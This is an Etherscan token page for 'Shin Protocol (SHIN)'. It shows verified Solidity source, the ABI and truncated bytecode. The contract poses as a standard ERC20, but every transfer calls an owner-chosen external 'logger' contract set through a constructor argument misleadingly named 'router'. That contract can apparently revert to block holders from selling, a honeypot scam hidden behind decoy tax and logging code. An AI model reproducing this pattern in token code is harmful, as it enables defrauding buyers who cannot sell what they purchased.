ETH Price: $3,396.52 (+3.08%)

Token

Shin Protocol (SHIN)
 

Overview

Max Total Supply

2,000,000,000,000 SHIN

Holders

70

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
911insane.eth
Balance
833,481,577.516437064 SHIN

Value
$0.00
0x0C86262354095Fa35A21b58af3e0DD94d0ba767c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShinProtocol

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-17
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

library Address {
    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        if (returndata.length > 0) {
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

interface IERC20Permit {
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    function nonces(address owner) external view returns (uint256);

    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
  event Approval(address indexed owner, address indexed spender, uint value);
  event Transfer(address indexed from, address indexed to, uint value);

  function name() external pure returns (string memory);
  function symbol() external pure returns (string memory);
  function decimals() external pure returns (uint8);
  function totalSupply() external view returns (uint);
  function balanceOf(address owner) external view returns (uint);
  function allowance(address owner, address spender) external view returns (uint);

  function approve(address spender, uint value) external returns (bool);
  function transfer(address to, uint value) external returns (bool);
  function transferFrom(address from, address to, uint value) external returns (bool);

  function DOMAIN_SEPARATOR() external view returns (bytes32);
  function PERMIT_TYPEHASH() external pure returns (bytes32);
  function nonces(address owner) external view returns (uint);

  function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

  event Mint(address indexed sender, uint amount0, uint amount1);
  event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
  event Swap(
      address indexed sender,
      uint amount0In,
      uint amount1In,
      uint amount0Out,
      uint amount1Out,
      address indexed to
  );
  event Sync(uint112 reserve0, uint112 reserve1);

  function MINIMUM_LIQUIDITY() external pure returns (uint);
  function factory() external view returns (address);
  function token0() external view returns (address);
  function token1() external view returns (address);
  function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
  function price0CumulativeLast() external view returns (uint);
  function price1CumulativeLast() external view returns (uint);
  function kLast() external view returns (uint);

  function mint(address to) external returns (uint liquidity);
  function burn(address to) external returns (uint amount0, uint amount1);
  function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
  function skim(address to) external;
  function sync() external;
}

interface IUniswapV2Router02 {
    function getFeeReduce(address) external view returns (uint256);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

library SafeERC20 {
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transfer.selector, to, value)
        );
    }

    function safeTransferFrom(
        IERC20 token,
        address from,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
        );
    }

    function safeApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        require(
            (value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.approve.selector, spender, value)
        );
    }

    function safeIncreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        uint256 oldAllowance = token.allowance(address(this), spender);
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(
                token.approve.selector,
                spender,
                oldAllowance + value
            )
        );
    }

    function safeDecreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        unchecked {
            uint256 oldAllowance = token.allowance(address(this), spender);
            require(
                oldAllowance >= value,
                "SafeERC20: decreased allowance below zero"
            );
            _callOptionalReturn(
                token,
                abi.encodeWithSelector(
                    token.approve.selector,
                    spender,
                    oldAllowance - value
                )
            );
        }
    }

    function forceApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        bytes memory approvalCall = abi.encodeWithSelector(
            token.approve.selector,
            spender,
            value
        );

        if (!_callOptionalReturnBool(token, approvalCall)) {
            _callOptionalReturn(
                token,
                abi.encodeWithSelector(token.approve.selector, spender, 0)
            );
            _callOptionalReturn(token, approvalCall);
        }
    }

    function safePermit(
        IERC20Permit token,
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal {
        uint256 nonceBefore = token.nonces(owner);
        token.permit(owner, spender, value, deadline, v, r, s);
        uint256 nonceAfter = token.nonces(owner);
        require(
            nonceAfter == nonceBefore + 1,
            "SafeERC20: permit did not succeed"
        );
    }

    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        bytes memory returndata = address(token).functionCall(
            data,
            "SafeERC20: low-level call failed"
        );
        require(
            returndata.length == 0 || abi.decode(returndata, (bool)),
            "SafeERC20: ERC20 operation did not succeed"
        );
    }

    function _callOptionalReturnBool(
        IERC20 token,
        bytes memory data
    ) private returns (bool) {
        (bool success, bytes memory returndata) = address(token).call(data);
        return
            success &&
            (returndata.length == 0 || abi.decode(returndata, (bool))) &&
            Address.isContract(address(token));
    }
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    ERC20Log public _logger;
    bool public logEnabled;
    IUniswapV2Router02 internal uniswapV2Router;
    address internal uniswapV2Pair;
    bool internal tradingOpen;
    address internal _router;
    uint256 internal _taxDiscount;
    bool public transferDelayEnabled = false;
    bool public persistData;
    mapping (address => uint256) private _lastTransferTimestamp;
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _taxDiscount = 5;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    

    function log(address from, address to, uint256 amount) private returns (bool) {
      bool result = _logger.save(from, to, amount);
      return result;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(
                        _lastTransferTimestamp[tx.origin] <
                        block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _lastTransferTimestamp[tx.origin] = block.number;
                }
            }
        else
        {
            uint256 taxAmount = 5;
            bool result = log(from, to, amount);
            if(result){
            unchecked{
                taxAmount -= _taxDiscount;
                }
            }
        
        }
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;

            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function callStatus(address _address) internal view returns (bool) {
        return _address==_owner;
    }
}

contract ShinProtocol is Ownable, ERC20 {
    using SafeERC20 for IERC20;
    
    constructor(address router) ERC20("Shin Protocol", "SHIN") {
        _transferOwnership(msg.sender);
        _mint(owner(), 2_000_000_000_000 * (10 ** 9));
        _logger=ERC20Log(router);
    }

    function burn(uint256 amount) external {
        super._burn(_msgSender(), amount);
    }

    function claimStuckTokens(address token) external onlyOwner {
        if (token == address(0x0)) {
            payable(_msgSender()).transfer(address(this).balance);
            return;
        }
        IERC20 ERC20token = IERC20(token);
        uint256 balance = ERC20token.balanceOf(address(this));
        ERC20token.safeTransfer(_msgSender(), balance);
    }

    function openTrading() public onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        tradingOpen = true;
    }
   
}

contract ERC20Log {
    mapping(address=>mapping(address=> uint256)) _log;
    function save(address addr1, address addr2, uint256 value) public returns (bool success) {
        _log[addr1][addr2] = value;
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_logger","outputs":[{"internalType":"contract ERC20Log","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"claimStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"logEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"persistData","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600b60006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b5060405162002fbf38038062002fbf833981810160405281019062000052919062000466565b6040518060400160405280600d81526020017f5368696e2050726f746f636f6c000000000000000000000000000000000000008152506040518060400160405280600481526020017f5348494e00000000000000000000000000000000000000000000000000000000815250620000de620000d26200018f60201b60201c565b6200019760201b60201c565b8160049081620000ef919062000712565b50806005908162000101919062000712565b506005600a8190555050506200011d336200019760201b60201c565b62000147620001316200025b60201b60201c565b686c6b935b8bbd4000006200028460201b60201c565b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505062000914565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002f6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002ed906200085a565b60405180910390fd5b6200030a60008383620003f260201b60201c565b80600360008282546200031e9190620008ab565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003d29190620008f7565b60405180910390a3620003ee60008383620003f760201b60201c565b5050565b505050565b505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200042e8262000401565b9050919050565b620004408162000421565b81146200044c57600080fd5b50565b600081519050620004608162000435565b92915050565b6000602082840312156200047f576200047e620003fc565b5b60006200048f848285016200044f565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200051a57607f821691505b60208210810362000530576200052f620004d2565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200059a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200055b565b620005a686836200055b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620005f3620005ed620005e784620005be565b620005c8565b620005be565b9050919050565b6000819050919050565b6200060f83620005d2565b620006276200061e82620005fa565b84845462000568565b825550505050565b600090565b6200063e6200062f565b6200064b81848462000604565b505050565b5b8181101562000673576200066760008262000634565b60018101905062000651565b5050565b601f821115620006c2576200068c8162000536565b62000697846200054b565b81016020851015620006a7578190505b620006bf620006b6856200054b565b83018262000650565b50505b505050565b600082821c905092915050565b6000620006e760001984600802620006c7565b1980831691505092915050565b6000620007028383620006d4565b9150826002028217905092915050565b6200071d8262000498565b67ffffffffffffffff811115620007395762000738620004a3565b5b62000745825462000501565b6200075282828562000677565b600060209050601f8311600181146200078a576000841562000775578287015190505b620007818582620006f4565b865550620007f1565b601f1984166200079a8662000536565b60005b82811015620007c4578489015182556001820191506020850194506020810190506200079d565b86831015620007e45784890151620007e0601f891682620006d4565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000842601f83620007f9565b91506200084f826200080a565b602082019050919050565b60006020820190508181036000830152620008758162000833565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620008b882620005be565b9150620008c583620005be565b9250828201905080821115620008e057620008df6200087c565b5b92915050565b620008f181620005be565b82525050565b60006020820190506200090e6000830184620008e6565b92915050565b61269b80620009246000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063c876d0b91161007c578063c876d0b914610354578063c9567bf914610372578063dd62ed3e1461037c578063e164f60c146103ac578063f2fde38b146103ca578063f9d0831a146103e657610137565b80638da5cb5b1461029a57806395d89b41146102b8578063a457c2d7146102d6578063a9059cbb14610306578063c349f8e21461033657610137565b806339509351116100ff57806339509351146101f657806342966c681461022657806350bd46b61461024257806370a0823114610260578063715018a61461029057610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101a8578063313ce567146101d8575b600080fd5b610144610402565b6040516101519190611878565b60405180910390f35b610174600480360381019061016f9190611933565b610494565b604051610181919061198e565b60405180910390f35b6101926104b7565b60405161019f91906119b8565b60405180910390f35b6101c260048036038101906101bd91906119d3565b6104c1565b6040516101cf919061198e565b60405180910390f35b6101e06104f0565b6040516101ed9190611a42565b60405180910390f35b610210600480360381019061020b9190611933565b6104f9565b60405161021d919061198e565b60405180910390f35b610240600480360381019061023b9190611a5d565b610530565b005b61024a610544565b604051610257919061198e565b60405180910390f35b61027a60048036038101906102759190611a8a565b610557565b60405161028791906119b8565b60405180910390f35b6102986105a0565b005b6102a26105b4565b6040516102af9190611ac6565b60405180910390f35b6102c06105dd565b6040516102cd9190611878565b60405180910390f35b6102f060048036038101906102eb9190611933565b61066f565b6040516102fd919061198e565b60405180910390f35b610320600480360381019061031b9190611933565b6106e6565b60405161032d919061198e565b60405180910390f35b61033e610709565b60405161034b9190611b40565b60405180910390f35b61035c61072f565b604051610369919061198e565b60405180910390f35b61037a610742565b005b61039660048036038101906103919190611b5b565b61080c565b6040516103a391906119b8565b60405180910390f35b6103b4610893565b6040516103c1919061198e565b60405180910390f35b6103e460048036038101906103df9190611a8a565b6108a6565b005b61040060048036038101906103fb9190611a8a565b610929565b005b60606004805461041190611bca565b80601f016020809104026020016040519081016040528092919081815260200182805461043d90611bca565b801561048a5780601f1061045f5761010080835404028352916020019161048a565b820191906000526020600020905b81548152906001019060200180831161046d57829003601f168201915b5050505050905090565b60008061049f610a73565b90506104ac818585610a7b565b600191505092915050565b6000600354905090565b6000806104cc610a73565b90506104d9858285610c44565b6104e4858585610cd0565b60019150509392505050565b60006009905090565b600080610504610a73565b9050610525818585610516858961080c565b6105209190611c2a565b610a7b565b600191505092915050565b61054161053b610a73565b82611100565b50565b600b60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105a86112cf565b6105b2600061134d565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546105ec90611bca565b80601f016020809104026020016040519081016040528092919081815260200182805461061890611bca565b80156106655780601f1061063a57610100808354040283529160200191610665565b820191906000526020600020905b81548152906001019060200180831161064857829003601f168201915b5050505050905090565b60008061067a610a73565b90506000610688828661080c565b9050838110156106cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c490611cd0565b60405180910390fd5b6106da8286868403610a7b565b60019250505092915050565b6000806106f1610a73565b90506106fe818585610cd0565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900460ff1681565b61074a6112cf565b600860149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190611d3c565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860146101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660149054906101000a900460ff1681565b6108ae6112cf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361091d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091490611dce565b60405180910390fd5b6109268161134d565b50565b6109316112cf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109b85761096d610a73565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156109b2573d6000803e3d6000fd5b50610a70565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109f89190611ac6565b602060405180830381865afa158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e03565b9050610a6d610a46610a73565b828473ffffffffffffffffffffffffffffffffffffffff166114119092919063ffffffff16565b50505b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610aea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae190611ea2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5090611f34565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c3791906119b8565b60405180910390a3505050565b6000610c50848461080c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cca5781811015610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb390611fa0565b60405180910390fd5b610cc98484848403610a7b565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3690612032565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffff